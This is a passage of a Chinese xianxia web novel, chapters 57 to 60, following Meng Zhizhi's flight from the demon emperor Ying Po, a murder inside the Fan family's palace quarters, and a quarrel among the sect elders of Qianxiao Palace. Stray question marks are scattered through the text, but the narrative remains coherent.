樊隆注视着?他,道:“阿鸣,整个皇宫中只?有你堪大用,千万别让为父失望啊。” 樊鸣垂首低眉,恭敬道:“父亲大人?放心,孩儿定不辱使命。” 樊隆在他耳边低语一句。 随后,樊鸣退出轿中,朝身后之人?喊道:“起轿。” 数十人?跟在宰相大人?的轿辇身后,浩浩汤汤。 樊鸣看底下这群大臣们,道:“诸位请回吧,你们的家人?都在家里等着?你们吃晚饭呢。” 大臣们才缓缓抬头,如梦生死,卸了所有力气,有人?直接瘫倒在地上,又不敢多留,赶紧又爬起来,彼此没?有多言,相互搀扶着?离开了此地。 樊鸣看着?他们离去,转而回过头,就见一道卑躬屈膝的影子。 他微眯了眼睛,道:“钱公?公??你竟然?还?没?走。” 钱喜走到他跟前,笑?道:“樊大人?希望我走去哪儿?我还?要在此处恭迎陛下回宫。” 他道:“你怎么?认为陛下还?会回宫?” 钱喜用袖子遮掩,咯咯地笑?起来,道:“樊大人?,您不是?心知肚明吗?” 樊鸣眼神一变锋锐,将他的领口拉扯过来。钱喜身形矮小,被樊鸣扯离地面?,双脚就这样吊在半空中,而那双夹着?皱纹的眼中笑?意不减半分,让人?看了毛骨悚然?。 樊鸣压低了声音,威胁道:“你是?谁?” 第58章 第 58 章 钱喜道:“您认为我?是谁呢?” 樊鸣注视着他许久, 而后将他放立地面。 钱喜衣领外翻,一双邪气的眼睛始终对他笑?着。 樊鸣转过身迈步要走,就听身后传来声音道:“樊大人好聪明。” 樊鸣脚尖缓缓调转方向。 “不管我?是谁,对您而言都无所谓。我?很欣赏您, 有一事想劝您一番, 还是莫要站错了队伍。” “队伍?”樊鸣重复着这二字, 嗤笑?出声, 神色凛然, “我?管你什么山间?野怪,这具烂身体你要占据也罢,别误了我?的大事,否则我?杀了你。” 钱喜仰头大笑?,道:“樊大人看起?来倒是很惧怕宰相呢, 但他又算得?上什么?” 樊鸣鼻音发出重重一声哼,骂道:“狂妄!看来你真的想死!” 此时天幕落下,黑云侵袭。 钱喜耳朵一动,心中几?分了然,道:“我?死不死不重要, 大人不妨先去看看您的妹妹吧。” 樊鸣突然意?识到什么, 快速奔向摘月宫。 摘月宫中宫人四处奔走, 樊鸣一来就见一群人宫女像无头苍蝇似的。 众宫女一见他来到,立马跪了下来。 樊鸣道:“盈绣呢?” 樊盈绣的贴身大宫女守月极为害怕, 道:“刚刚小姐沐浴,差遣我?们出来,只一会儿人就不见了。” 樊鸣道:“不是让你们同小姐寸步不离吗!” 底下人都默了声。 樊鸣直接推开大门进了浴池, 守月立马跟了进来,还命其?他人在殿外守候。她是樊家的人, 做主着摘月宫大大小小的事。 这摘月宫是每代皇后入宫大婚前所住之地,建造之恢弘奢靡,就宛如月亮一般璀璨。 樊鸣四处看了一会儿,浴池里散发着阵阵白气,宛如仙雾。这地方牢不可破,门窗都是好好的,没有出去的痕迹。 一个大活人会突然消失不见? 樊鸣只思索片刻,便一头扎进了浴池之中,守月惊骇不已。 只见他如游龙潜入池中,毫无动静。 须臾之间?,水面上冒出了气泡。 一个湿漉漉的人儿从水里冒了出来。 守月一见便惊喜道:“小姐!” 而樊盈绣身后又跟着冒出一个人,正是樊鸣。 樊鸣的手正抓着她的秀发,樊盈绣挣扎万分,喊道:“放开我?!” 樊鸣紧捏不放,道:“还有下次吗?” 樊盈绣怒瞪着他,一个字都不愿再开口?。 樊鸣将她头发笔直一扯,自己游到浴池边。樊盈绣叫痛,双手去掐自己的头发,整个人在水中翻腾不已。 她被樊鸣硬生生拉扯了过来。 她骂道:“竖子?!你胆敢这么对我?!我?要告诉父亲!” 樊鸣起?了身,守月立马为他端来干净的帕巾,他拿起?帕巾淡然地擦拭着脸上的水渍。 “父亲最近为你的事很是心烦意?乱,你难道不知道吗?” 樊盈绣道:“我?要见父亲!” 樊鸣缓缓蹲下身来,道:“父亲说了,不见你。” 樊盈绣道:“凭什么不见我??我?才是他的亲女儿!你整日围着父亲打转,让父亲对我?疏远,现在我?连见父亲一面都不行了?” 樊鸣道:“你要真觉得?自己是樊家的亲女儿,就应该老老实实跟陛下成?亲,早日诞出龙子?。” 他眼神冷漠地从她的脸上滑下,一直探到水面,似乎想透过水面看到她的肚子?。 樊盈绣心里快恨死他了,道:“龙子?,龙子?!你们整日只想着这个,难道我?就是个生育工具?就因为先帝不孕,却?诞下了阿破,你们利用?完孟芷查验出阿破能诞下后代,接下来就要利用?我??” 樊鸣道:“你是樊家嫡女,该为樊家负起?嫡女的责任。父亲如今什么处境,你好好想想。沾了樊家的光,就想彻底抛下家族荣誉上山修仙?” 樊盈绣反驳道:“你胡说八道,我?是为了父亲才想上山修仙的。” 樊鸣一把掐住她的下巴,恶狠狠道:“别再说那样的话。” 他眼神冷得?像淬毒的毒蛇。 樊盈绣下巴被掐得?生疼,心中顿生恐惧,似乎也知道自己说错话,整个人眼睫都垂了下来,睫毛颤抖着。 樊鸣松开了手,道:“守月,你照看好二小姐,要是小姐出了任何问题,你也别想活了。” 守月声音发抖道:“遵命,大人。” 大殿之中,声音轻如羽毛。 等樊鸣一走,守月赶紧将樊盈绣扶了起来,道:“小姐,当心着凉。” 她给樊盈绣披了一件衣服,小心翼翼地搀扶她上台阶。 樊盈绣突然出了声道:“刚刚你一直在旁边?” 守月正低头看着光滑的地面,道:“小姐,奴婢一直在旁边伺候着您,这是奴婢的职责。” 樊盈绣赤裸的脚停下了步伐,“也就是说你什么都听见了。” 守月心觉不对,缓缓抬头,正对上樊盈绣那阴恻恻的神情,她吓得?跪在地上。 “奴婢什么也没听见。小姐饶命。” 樊盈绣蹲下身,她抬起?她的下巴,水渍从她的头发上滴落下来,额前的红痣甚是圣洁动人,“没听见,你慌什么?” 守月瑟缩着,眼神不敢与樊盈绣对视。 樊盈绣道:“我?要喝热茶。” 守月连忙道:“奴婢这就去弄。” 她从地上爬起?身,背对着樊盈绣。 她刚走出几?步,后背剧烈一疼。她朝后看去,没想到一把被樊盈绣紧紧锁住腰间?,那疼意?更加分明。 守月道:“小、小姐……” 话还没说完,人已经?倒在了地上,死不瞑目。 樊盈绣将手中的血刃丢在了一旁,将衣服拢了拢,走到大门,打开之后,一道月华洒在了她的身上。 她道:“守月玩忽职守,甘愿以?死谢罪。你们将她抬去埋了吧。” 众人道:“是。” 不一会儿,数位宫女围在樊盈绣身边,伺候着她回寝殿。清冷月光散在朦胧的摘月宫中,淡淡的血腥味飘了出来,沉默的羔羊在黑夜中低垂着双眸,视若无睹。 孟枝枝带着赢破踏出了皇宫,先去了隐世。 她念咒道:“太?上台星,变换无尽。运行日月,道气无情。清静,清静,赋我?神意?。三魂具在,隐世现音。” 一道金色漩涡现在眼前。 她将赢破身上的斗篷拉了拉,又给他戴上了一张普通的陶瓷娃娃面具,道:“现在出去,我?们一定会被追捕,先在这里躲躲。切记,一定不要被人发现了我?们的真实身份。” 赢破点了点头,手放在她的领口?处的绳结,给她拉了拉,打上了蝴蝶结。孟枝枝也披了一件斗篷,那斗篷帽子?上还长?着牛头犄角看着很是怪异,她的脸上也戴着一张瓷娃娃的面具。 孟枝枝紧握住他的手,“我?们进去吧。” 两个人踏入隐世之中,一瞬间?金色漩涡便消失了。 隐世里热闹极了,比上次来的时候还要热闹。遍天遍地飞舞着揭帖。 一个身穿破烂的散修手里拿着揭帖到处散布,嘴里还在大声张罗:“千霄宫征集人界皇帝赢破和散修孟枝枝的信息,有知者,请到百宝店寻赵仙人,有重酬答谢。” 孟枝枝接过一张从天空飘下的揭帖,蓦然看到上面是她和赢破的画像,写着征募知晓者,落款是千霄宫的徽章。 没想到仙界速度如此之快,不过短短半日,消息就已经?传到隐世。但是千霄宫并?没有第一时间?对外公布赢破是魔的身份,这般行事奇怪,究竟是为什么? 孟枝枝记得?,上一世,赢破是魔的身份很快公之于众。她知道赢破是魔的那一天,很快就有仙家之人登门攻打。 难道云庭没有告诉他们赢破是魔? 不太?可能。 魔的可怕之处早就深入人心,再说云庭他们没有义务替她隐瞒。 还是因为这一次她把赢破带离了皇宫,所以?一切改变了? 这事她实在想不明白。 如今整个散仙圈子?都知道千霄宫在打听她和赢破的下落,其?他仙门会不会起?疑呢? 此地不能久待,要尽快离开皇都。 孟枝枝将那揭帖塞进袖中。 她对赢破道:“抓紧我?的手,别松开。” 她的手比他的手小,柔软而滚烫,他不由紧紧抓住。他透过面具的两个孔看着她的后脑勺,她在前方带领着他,人群里摩肩接踵,他不由地跟紧了她,生怕丢了她。 孟枝枝来了一家店,比起?外面许多散乱的摊子?,这家店看上去正经?多了。店面不大,木制结构,古风文雅,正上方的牌匾上写着“百宝店”三个字。 孟枝枝回头看向赢破,拉着他的手臂,在他耳边低语,道:“等会儿你千万别说话。” 赢破看着瓷娃娃的脸贴近着他,他闻到她身上的枣香味,心尖痒痒的,声音也跟着低起?来,道:“我?都听你的。” 她轻轻地捏了捏他的手指,以?示听见。 赢破面具下嘴角微抿。 两人一同踏进了门槛。 孟枝枝道:“赵仙人呢?” 店里一个散修见到这两人一高一矮,脸上还戴着遮盖面容的面具,倒不觉得?多意?外,隐世里不想暴露身份的人数不胜数,这瓷娃娃面具在隐世里随处可见,并?不值钱。 他拿出营业的态度道:“贵客里边请,赵仙人在上面等着呢。” 孟枝枝带着赢破来了二楼,二楼有珠帘玉翠,还有散着檀香的桌椅板凳,正中央还供奉着财神爷。 一个憨态可掬的人坐在里面,道:“你们也是来送消息的?” 孟枝枝从袖下掏出揭帖,“正是。你就是赵仙人?” 她走近一看,才发现那赵仙人眼珠是白的,像蒙上了一层浓浓的白雾。她一眼便看出,赵仙人的眼睛看不见,应该是中过一种名为滴水观音的蝶毒。 赵仙人从容自如地拿起?茶壶倒好两杯茶,茶未斟满,就递了过去。 他有礼有节道:“二位请坐。不知二位有何消息能带给我??” 孟枝枝坐下,道:“赵仙人,在告诉你之前,我?想知道为什么千霄宫要打探此二人消息?” 赵仙人倒是坦诚道:“实不相瞒,我?并?不知道。不过千霄宫既然花重金寻消息,那就没有不赚这钱的道理。小姑娘,想知道千霄宫为何这么做的人不少,你却?是第一个直接问出来的。” 孟枝枝道:“千霄宫是仙界第一门派,不好奇才是怪事。赵仙人怎么叫我?小姑娘,虽然我?声音听着年轻,但是我?活了三百年,当你的祖宗姑奶奶都是够的。” 赵仙人做惯了生意?,拱手道:“见谅,赵某眼睛看不见,竟有眼不识泰山。” 孟枝枝挥手道:“罢了,都省省劲。我?来这儿也不是为了钱,我?想探听一个人的消息,就用?我?的消息换你的消息,赵仙人,这买卖不亏吧?” 赵仙人道:“那就要看您提供的信息价值如何了。” 孟枝枝道:“赵仙人,你想知道这两人什么,我?都可以?告诉你。只是赵仙人能不能给我?提供足够价值的信息就难说了。” 赵仙人道:“这……仙师这话,难道仙师是这二人亲密之人?” 孟枝枝道:“此事就与你无关了。” 赵仙人露出惶恐模样,道:“是赵某逾矩了。” 孟枝枝心道,老狐狸。 她道:“如果赵仙人答应这桩买卖,就先回答我?的问题,之后我?再回答你的问题。” 赵仙人拿起?茶杯,小口?啄了一下,轻轻放在桌前,道:“仙师说得?令赵某心动,但是赵某从不做亏本生意?,若是我?告知了仙师想知道的事情,仙师却?不回答我?的问题该如何?” 孟枝枝笑?了笑?,道:“赵仙人,你这店四周有数名好手在此徘徊巡逻,楼下还有一个修行千里目的高手,如果我?真的要跑,怕是一瞬间?就会被你们包围,当然打架我?是不怕的,就是十分讨厌白费力?气。赵仙人觉得?呢?” 赵仙人手中茶杯荡起?波纹,道:“是赵某眼拙。仙师想问什么?” 孟枝枝心头隐隐松了口?气,道:“我?想知道南元国女官孟慕华的下落。” 赵仙人摸着下巴处的胡子?,道:“孟慕华……可是那位散修医仙?” 孟枝枝按捺住自己激动的情绪,压抑着,生怕被赵仙人看出来。 “应当是吧。她原来好像确实是散修,后来众所周知进了南元国当女医官。只是前段时日辞官后,人就消失不见了。” 赵仙人遗憾道:“我?不知道孟慕华的下落,但是我?曾听闻孟慕华曾与千霄宫一人关系甚为密切。几?十年前她之所以?能与各家门派关系融洽,与此人分不开关系。” 孟枝枝道:“千霄宫的人?是谁?” 赵仙人道:“无真。” 孟枝枝道:“无真?我?怎么从未听过此人名字。” 赵仙人道:“此人十分低调,突然出现千霄宫中,又在数十年前突然消失了。” 孟枝枝道:“还有没有关于他的事情?” 赵仙人道:“他有两柄厉害的法器。” 孟枝枝心中答案呼之欲出。 赵仙人继续道:“听说是一绿一白的玉如意?。那法器法力?惊人,富含天地灵气,在道家神圣法器之中能排进前十。” 孟枝枝心尖一颤,“还有呢?” 赵仙人道:“几?十年有过传闻,有人说无真是孟慕华的师父,但也有人说二人是一对结了孽缘的怨偶。时间?太?过久远,这些消息也只不过是道听途说,不知真假。” 孟枝枝从来没有听过孟慕华提起?过她的师父,如果真是师父的师父,那便是她的师祖。 孟枝枝心中疑云遍生。 她道:“赵仙人想问我?什么?” 第59章 第 59 章 赵仙人道:“第一个问题, 敢问仙师,这孟枝枝和人界皇帝现在身在何处?” 孟枝枝道:“我不知道。” 她说得大?大?方方、波澜不惊,真诚就像是?在说“我真不知道今天会下雨”一般。 赵仙人道:“那这孟枝枝和人界皇帝为?何被千霄宫盯上?” 孟枝枝道:“赵仙人这问题是?为?了?自己问的??” 赵仙人仰起头,摸着胡子笑道:“人总有好奇之心。我与仙师并无?不同, 自然也是?好奇这千霄宫为?什么突然盯上这二位。” 孟枝枝道:“这事该问千霄宫。千霄宫向来不管人界皇族之事, 突然盯上这二位, 我也正好奇呢!要是?赵仙人哪日寻到消息, 还劳烦告知我, 也满足一下我的?好奇心。” 赵仙人道:“说得正是?,这仙家门?派的?想法又?岂是?我们这些燕雀能知道的?呢?仙师,贫道还有第二个问题,敢问这孟枝枝和人界皇帝有什么渊源?” 他拿起茶壶,想往孟枝枝的?水杯里倒水, 才发现对方竟然一口未喝,便装作不经意放下了?茶壶。 赢破紧盯着赵仙人的?手,眸子里阴沉了?下去,眸子漆黑如浓郁得化不开的?墨。 赵仙人顿了?顿手,又?自然地将手收回袖中。 孟枝枝道:“如果要说渊源, 大?概是?学宫那年大?火, 小皇帝救了?她。” 赢破的?双眸一震, 想起了?那夜,抱着小孩哭泣向他求救的?小姑娘。 原来他们已经那么早就已见?过?面。 赵仙人道:“噢?看来这孟芷是?为?了?报恩。” 孟枝枝道:“是?。” 赵仙人道:“第三个问题, 这人界皇帝为?什么想逃?” 孟枝枝徐徐道来:“不知道赵仙人对人界之事了?解多少。修仙之人从来只管求仙问道,对人界之事甚少搭理,大?多也对人界宫闱之事没那么清楚。” 赵仙人摸了?摸胡子, 认真思?索道:“我倒是?有听过?那人界孩童传唱的?歌谣,唱的?似乎是?‘鬼皇帝’?” 孟枝枝道:“赵仙人倒是?知道一二。” 赵仙人道:“贫道做惯了?这消息生意, 耳边偶尔也会传来几句人界之事。关于这人界,我记得……十七年前魔物?入侵人界,众仙门?齐齐下山除魔卫道。还有一事也是?闹得沸沸扬扬,上一任人皇不知经历了?什么刺激,竟也想学修士求仙问道,召集了?一批半吊子的?道士去皇宫学道炼丹,此事使仙盟受辱。在那之后,就甚少传来人界消息了?。” 孟枝枝嘲讽道:“仙盟受辱?呵。” 赵仙人不解其义。 孟枝枝没有解释,继续道:“赢氏一族到了?前任皇帝那代便开始走下坡路。赢破幼时被奸臣囚禁,南元国数年来被宰相樊隆把持朝政。这鬼皇帝的?歌谣就是?樊隆唆使人传出来的?。想一想,一个人从出生就被囚禁,被虐待,吃不饱穿不暖,活得不人不鬼,怎么会想留在那个地方继续受苦呢?” 赵仙人缓缓摸着胡子,道:“真相竟是?这样?。那孟枝枝是?助他逃离?” 孟枝枝道:“大?概如此。” 赵仙人拱手道:“多谢仙师的?消息。” 孟枝枝也拱了?拱手,“那就此别过?。” “保重。” 她起身,赢破也跟着起了?身。 不一会儿,赵仙人又?在她身后冒出声道:“等等,刚刚还有一事忘记告知仙师。” 孟枝枝停住脚步。 “数年来,除了?仙师,还有一位仙者曾向我打?听过?孟慕华的?下落。” “谁?” “她是?一只夹竹桃妖,自诩是?玉坤山的?弟子。” 孟枝枝双眸一震。 赵仙人看不见?孟枝枝变化的?表情,继续道:“不过?贫道这两日听闻,她和一只凡界鼠妖被带回了?玉坤山。” 她极力?压抑住颤抖的?声音,道:“她还活着?” 赵仙人道:“应当是?的?。玉坤山对妖类同道一向护短。千霄宫因为?此事已经和玉坤山争执起来了?。” 孟枝枝哑了?半晌,道:“多谢。” 随即,她拉着赢破快速离开了?此地。 她走出百宝店,一边对赢破低语,道:“我们马上离开这里。赵仙人已经知道我们是?谁了?。” 赢破语气?阴狠道:“我去杀了?他。” 孟枝枝道:“赢破。”她压低了?嗓音,尽量让自己在人群中失去存在感。 她环视一周,又?继续道:“不是?什么事情都要靠杀人才能解决。我们先离开皇都。” “就这么放过他?”赢破想起赵仙人那一刻微顿的?手,心头一直冒出一种强烈的?烦躁感。 孟枝枝道:“我不知道他是?敌是?友,但他竟然向我透露了小桃仙和冥漆的消息。光是?这一点,我便要谢谢他。” 赢破还是?不解,为?什么她就这么轻易地放过?了?赵仙人?她冒着自身这么大?的?风险换取情报,赵仙人随时都可能出卖他们,那么一言两句有什么值得感谢的?? 但他什么也没说,只是?静静地等待着孟枝枝做出选择。 孟枝枝拉着他,朝出隐世的方向走去。 与此同时,百宝店中的?赵仙人已下了?楼。 有人立马迎了?上去。 赵仙人拿出一张卷轴,道:“速速送去千霄宫。” “仙人,刚刚那两个人,要我去跟踪吗?” 赵仙人摇摇头,道:“让千霄宫去处理此事,我们莫要掺合。” “好。” 赵仙人顿了?顿道:“你将他们的?去处一并告知千霄宫。” 皇都城中,灯火辉煌。千家万户,西窗剪烛。 孟枝枝和赢破飞行在屋檐之上,速度快得只留下一道残影。 孟枝枝实在没有想到,成了?魔之后的?赢破功力?如此惊人。她不过?言语指点他飞行一两句,他便能轻松驾驭。这样?恐怖的?练功速度,如果在仙家门?派,绝对是?各大?长老争抢的?好苗子。 两人轻轻松松来到了?皇都边界。 孟枝枝手从桂花香囊里掏出,攥握成拳,五指张开,掌心里竟为?一堆亮晶晶的?碎片。 那正是?数百片白玉如意的?碎片。 当白玉如意破碎了?之后,她下意识收集回了?这些碎片。没想到依然派上了?用场。 “去。” 那些亮晶晶的?碎片从她指尖飞了?出去,她手指飞快捏决低语默念净天地神咒,但这次不同的?是?,她继续开口道:“道君在上,我自知不自量,今天就以我的?寿命为?祭,借道君神力?,修复此物?,生生世世,此誓不灭。” 赢破听罢,连忙阻止她。但她周身瞬间迸发出巨大?的?能量冲击,生生压住了?他的?前进。 那金色的?光芒贯穿她的?七窍,眼前数百片碎片与之共振,很快那碎片粘在一块,一点点恢复,最终恢复成白洁无?暇的?白玉如意。 孟枝枝倒吸一口气?,七窍之中的?金光瞬间消散,周围灵气?被吸得一干二净,全进入了?白玉如意。 孟枝枝步伐虚浮,向后一倒。 赢破立马挽住她。 孟枝枝强行支撑着身体,“你松开我。” 她站起身,缓缓转过?头对他道:“赢破,你真的?愿意放弃皇帝的?身份跟我走吗?” 她的?眸子里的?光亮就像萤火虫一样?一明一灭。 赢破道:“我愿意。” 孟枝枝捏紧了?拳头,随后借助白玉如意施展出法术,她一把狠狠推开了?他。 很快他们周身散发着星星碎光,那些碎光一圈一圈如螺旋一般缠绕着孟枝枝身上。白玉如意正在她的?头顶之上,那些碎光都进入了?它。 赢破心中怒道:“孟芷,你要丢下我?!” 孟枝枝道:“是?。” “你宁愿以寿命为?祭,也要离开我?” “是?。” 白玉如意身上净天地咒散出,是?逼得赢破后退,但他硬生生抗住,一步一步朝她走来。 孟枝枝道:“千年仙誓在此,你踏不出皇都。赢破,你既然已经选择入魔,我们之间没什么好说的?了?。” 赢破道:“你骗我!你骗我封印鬼母,骗我放云庭他们走,你骗我出宫,带我去隐世,都只是?为?了?迷惑我!孟芷,你好狠的?心!你就不怕我找到你师父,杀了?她?” 孟枝枝心中早知会引来他如此暴怒,道:“我说过?,我不想和你有什么瓜葛。一步步走到现在,也不是?我想要的?。但事已至此,以后的?路我们各归各。” 赢破道:“你想都别想!” 他掌心释出魔力?,那魔气?雷霆万钧,强烈的?闪电让天地都为?之一震。 他想冲破这仙誓困守,那魔气?反弹到他身上,他走出的?每一步,都伴随着一声炸裂声,无?数血液喷射,他一身鲜血,也死盯着孟芷。 孟枝枝道:“你别再试了?,再试下去,伤的?只能是?你自己。” 她仰头看着这广阔天地,道:“我和你的?认识从一开始就是?错的?,再来一次又?如何,什么都改变不了?。别了?,赢破。” 她转身飞去,徒留赢破原地发狂。 “孟枝枝!你胆敢逃,我一定会抓住你!一定!” 他抬起一双充血的?眼睛,心中的?阴暗在叫嚣。 他要折断她所有的?翅膀,让她再也飞不起! 这时,一小行人踏着疾速的?步伐赶来。 一顶轿子落在地上。 钱喜正站在轿前,恭敬道:“陛下。” 赢破脸色寒气?逼人,像是?变了?个人,帝王的?威严和无?情尽现。 他进了?轿子里,轿子里传来他冷酷的?声音。 “回宫。” 这行人步伐快而?稳,很快从这人烟稀少的?皇城边界消失了?。 千霄宫万剑峰上,一间古色古香的?房间之中。 云庭猛地睁开了?眼。 梅珊惊喜道:“大?师兄,你醒了??” 她手中正拿着一条刚浸湿的?帕子,她伸出手去,“大?师兄,擦擦脸罢?” 云庭起了?身,骤然想起在人界经历的?那一切,对梅珊道:“师父呢?” 梅珊道:“师父和路师兄都在大?殿里,大?殿里来了?好多人,长老们都去了?,还有玉坤山的?蓝师兄也在那里。大?师兄,究竟发生了?什么事?” 云庭一摆腿,下了?床,往大?殿冲去。 梅珊紧跟在他身后,追着喊大?师兄。 云庭置若罔闻,他刚到大?殿的?门?口,就听见?里面传来了?路一剑的?骂声。 “师父,我要为?大?师兄报仇!他们玉坤山欺人太?甚,该将那两个妖道交出来处置!” 蓝倾的?声音传来,道:“再说一遍妖道,信不信本狐仙撕烂你的?嘴。” 云庭破门?而?入,梅珊在他身后,不敢贸然闯进,只得在外?站立。 一见?云庭清醒,大?殿之中人人脸色都很高兴。在这里的?人除了?万剑峰的?长老,甚至还有千霄宫其他几位主?峰的?峰主?。 云庭朝着坛中央跪去,道:“请师父派我下界除魔。” 此言一出,殿外?的?梅珊惊得捂住了?嘴。 大?殿之中,顿时鸦雀无?声。 贤剑真君坐在坛中,手指做成拈花状,道:“庭儿,你当真看见?了?魔?” 第60章 第 60 章 云庭拱手道:“正是。那只魔就是人?界现任皇帝赢破。我与路师弟、蓝道友都?看见了。” 百花峰峰主圣花真君是一个背琴的清秀书生, 他年龄看着?不过三十岁出头,道:“人?界皇帝……数十年过去,怎么又是人?界皇帝。” 几?个峰主长?老眼神交流后,似乎有什么难言之隐。蓝倾将团扇遮掩着?半张脸, 将众人?神色收揽于一双狐狸眼中。 云庭道:“师父, 邪魔不除不行。徒儿胆敢请师父请出仙盟众家出面?解除千年仙誓, 赢氏一族根本?不配为皇族!” 贤剑真君道:“此事还要再议。” 云庭不敢相信, 道:“师父?” 贤剑真君道:“庭儿。”语气重?了一些。 路一剑手中佩玲响起, 连忙承出来道:“师父,隐世那边传来消息,赢氏皇帝回宫了。” 贤剑真君道:“派人?下界去皇宫走一趟。” 云庭道:“师父,那魔头心?狠手辣,根本?没有常人?有的感情, 再派人?下去是死路一条。” 贤剑真君道:“梅珊。” 在殿外偷听的梅珊立马慌了神,赶紧进入殿中,朝着?众位师长?拱手。 “梅珊在。” 贤剑真君道:“你将大?师兄扶回去,让他好好静养。” 梅珊心?头有几?分?失落,道:“梅珊遵命。” 她?来到云庭身旁, 道:“大?师兄, 我们回去罢。” 云庭抬起头, 直视着?贤剑真君,那眸子里全是不甘心?。 梅珊心?里着?急, 只得小声催促道:“大?师兄。” 所有人?都?看着?他。 云庭他缓缓从地上爬起来,转过头,迈出了步伐。 梅珊赶紧道:“师父, 还有众位师长?,梅珊就先?和大?师兄告退了。” 贤剑真君微微点头。 待二人?退下后, 蓝倾也道:“既然如此,我也回玉坤山了。” “慢着?。”贤剑真君叫住了他。 他道:“蓝道友,那位名为水灵的弟子,应当交由我们千霄宫来审判。” 蓝倾道:“我玉坤山的弟子自?然是由玉坤山来审判,容不得他人?插手。” 路一剑道:“岂敢对我师父无礼!” 蓝倾道:“二愣子,是我救了你和你大?师兄的命,你一口一个无礼,究竟是谁对谁无礼。” 路一剑慌乱道:“我……我……” 贤剑真君道:“此事还要多?谢蓝道友愿意出手相助,不然今日我恐怕难以再见到我的两个徒儿。” “你知道就好。”蓝倾一把团扇轻轻摇晃。 圣花真君道:“恩要报,债要讨。一码事归一码事。蓝道友,你那玉坤山的弟子暂且不论,我听说她?身边还有一只无名鼠妖,你将他交出来。” 蓝倾道:“不给。” 圣花真君道:“这又是什么道理?” 蓝倾道:“那只鼠妖也是我玉坤山的弟子。” 圣花真君笑了,道:“莫要胡扯,那鼠妖什么时候成了你玉坤山的弟子了?” 蓝倾悠悠道:“就在刚刚。” 在场几?位千霄宫峰主都?怒了。 圣花真君道:“蓝道友,我们好言相劝你不听。你这是在包庇那人?界魔头!” 蓝倾道:“我玉坤山从来不主动掺合人?界事、仙界事。你们若真想找事,我玉坤山也不怕,奉陪到底。” “现在都?什么时候了?天?仙子种子和魔重?现人?界,灾难就要来临了,到时候你们玉坤山也难善其身!” 蓝倾道:“借你吉言,我们玉坤山还是有自?保的能力。至于其他仙门,和我们玉坤山有什么关系?” 这言论一出,整个大?殿都?炸开了锅,眼看就要吵起来了,贤剑真君立马道:“诸位冷静!” 贤剑真君道:“蓝道友,你先?回玉坤山吧。” 众峰主、长?老变了脸色,那眼神尖锐如针朝蓝倾刺去,但蓝倾一点儿都?不在乎,甚至当众玩起了团扇。 真是气煞人?也。 正是贤剑真君做事向来公道、令人?信服,在众峰之中,万剑峰无论实力还是名气都?在前列,所以他们看在贤剑真君的面?子上,一个两个才安分?闭嘴。 蓝倾道:“那我走了。” 贤剑真君道:“还请替我向玉坤山的诸位问好。” 蓝倾的狐狸耳朵动了动,道:“自?然。” 他迈着?大?步离开了大?殿。 千霄宫中天?罡峰的峰主铁炼真君道:“贤剑真君,就这么放过那两只小妖?玉坤山这态度简直不像话!” 贤剑真君道:“如今该怎么应对那人?界皇帝才是最重要的。” 圣花真君道:“早些年,我便让你们早点收拾了此事。现在没想到竟然拖成了祸害。” 万剑峰的莫长?老无不懊悔道:“那时都以为他翻不出什么大?风大?浪,谁知道竟还留了这一手。” 路一剑听得不明不白。 众位仙长?难道早就知道赢破的处境了? 贤剑真君目光落到路一剑身上,道:“一剑,你见过那人?界魔头,他是什么模样?” 路一剑老实回答道:“长?得和我们一样,有眼睛、有鼻子,就是有点瘦,看着?还有点小。” 铁炼真君道:“呵。” 铁炼真君是一个粗鲁大?汉,身长?八尺,穿着?丹青色道袍,肩上经常背着?一柄巨大?的流星锤,平日话少?,却是个暴脾气。 路一剑有些不敢言语。 贤剑真君鼓励道:“继续说。” 路一剑大?着?胆子道:“一开始我以为他就是个凡人?,但后来看他使出功夫,我才知道他不一般。而且他能号令鬼母诞下的鬼子朝我和大?师兄进攻。” 所有人?脸色都?变得难看。 路一剑不知道所以,只听贤剑真君叹了口气道:“傻孩子,活着?回来就好。” 他道:“你去看看你大?师兄,剩下的事交给我们。” 路一剑道:“师父,还要我派人?下界吗?” 贤剑真君道:“不急。” 路一剑还有想问的,但当着?这么多?师长?的面?不好问出口,只得将所有话都?咽了下去。 他告退之后,就去了云庭的房间。 刚要进门,一个水杯就朝他砸了过来,他一躲开,那水杯就砸在了窗户上,又弹到地上,四分?五裂。 茶杯砸过的地方燃起蓝色的狐火,烧了整整一圈。 路一剑冲了进去道:“大?师兄!” 他正撞见蓝倾和云庭剑拔弩张,云庭正握着?无尘剑,对峙着?蓝倾。 蓝倾道:“你冲我发什么脾气,我又不是你那禁了你足的师父。” 路一剑道:“蓝师兄,你怎么还没回去?” 他赶紧拦下云庭的剑,道:“大?师兄你的伤还没好,千万不要再运功了。” 云庭佝偻着?背,嘴角溢出鲜血。 蓝倾见状,这才收起了狐火。 他道:“我本?是好心?来提醒,没想到你们不识抬举。” 云庭剧烈咳嗽了起来,拿剑的手不稳,无尘剑掉落在地面?上。 路一剑厉声道:“蓝师兄!” 他几?乎是请求的姿态道:“求求你,不要刺激我大?师兄了。” 蓝倾心?中突然烦闷起来,一屁股坐在桌前,用团扇狂扇着?自?己的狐狸耳朵,那白色的狐狸毛都?被扇飞了起来。 他道:“你们师父不会想将此事闹大?。你们还想下界杀魔,那是痴心?妄想。” 路一剑端了杯水,让云庭喝下,又将他扶到床边。 他侧过头,道:“蓝师兄为什么这么说?” 蓝倾冷笑一声,道:“就算我说了,你们会相信吗?我可不想再白费功夫。” 路一剑用动作安抚了云庭,他用渴求的眼神朝云庭摇了摇头。云庭总算没有再反抗,倚靠在床头。 路一剑深呼吸一口气,倒了杯水走到蓝倾跟前,双手奉茶道:“这杯敬给蓝师兄,多?谢蓝师兄,我和大?师兄才能从那里逃出来。” 蓝倾看了他一眼,将那茶一饮而尽,道:“这茶再好还是不及逍遥酿。” 路一剑心?里顿时想抽死这只死狐狸,知不知道逍遥酿多?难得?一说起逍遥酿,就会想起他攒了两年钱才买的冰心?琉璃盏,心?里都?在滴血。这狐狸精还毁了他的冰心?琉璃盏! 他调整好心?态,继续问道:“蓝师兄,你刚刚说师父不想把此事闹大?是为什么?有魔出现在这世上,还有什么比这事更可怕的?” 蓝倾刚想开口说,又看了一眼云庭,调了个头,道:“让你大?师兄跟你说罢。” 路一剑猜出刚刚蓝师兄和大?师兄起争执,看来也是因为此事。 他回头去看云庭,只见云庭冷淡地看着?墙壁,一点都?没有要开口说话的意思。当了师兄弟这么多?年,他见多?了大?师兄冷淡的样子,但这一次不同,他有种预感就算他亲口问大?师兄,大?师兄也不会回答他的问题。 他只得按捺下好奇心?,道:“蓝师兄,你看这事应该怎么办?” 